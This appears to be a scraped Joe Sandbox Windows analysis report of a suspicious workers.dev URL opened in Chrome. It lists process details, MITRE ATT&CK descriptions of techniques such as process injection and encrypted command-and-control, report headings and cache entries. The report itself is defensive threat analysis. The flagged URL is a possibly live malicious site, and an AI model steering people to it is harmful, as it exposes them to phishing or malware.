Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "https://cloudsss-c367.iardainwkasn.workers.dev/"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://cloudsss-c367.iardainwkasn.workers.dev/

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Software Vulnerabilities

Networking

System Summary

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 100

Chrome Cache Entry: 101

Chrome Cache Entry: 102

Chrome Cache Entry: 70

Chrome Cache Entry: 71

Chrome Cache Entry: 72

Chrome Cache Entry: 73

Chrome Cache Entry: 74

Chrome Cache Entry: 75

Chrome Cache Entry: 76

Chrome Cache Entry: 77

Chrome Cache Entry: 78

Chrome Cache Entry: 79

Chrome Cache Entry: 80

Chrome Cache Entry: 81

Chrome Cache Entry: 82

Chrome Cache Entry: 83

Chrome Cache Entry: 84

Chrome Cache Entry: 85

Chrome Cache Entry: 86

Chrome Cache Entry: 87

Chrome Cache Entry: 88

Chrome Cache Entry: 89

Chrome Cache Entry: 90

Chrome Cache Entry: 91

Chrome Cache Entry: 92

Chrome Cache Entry: 93

Windows Analysis Report
https://cloudsss-c367.iardainwkasn.workers.dev/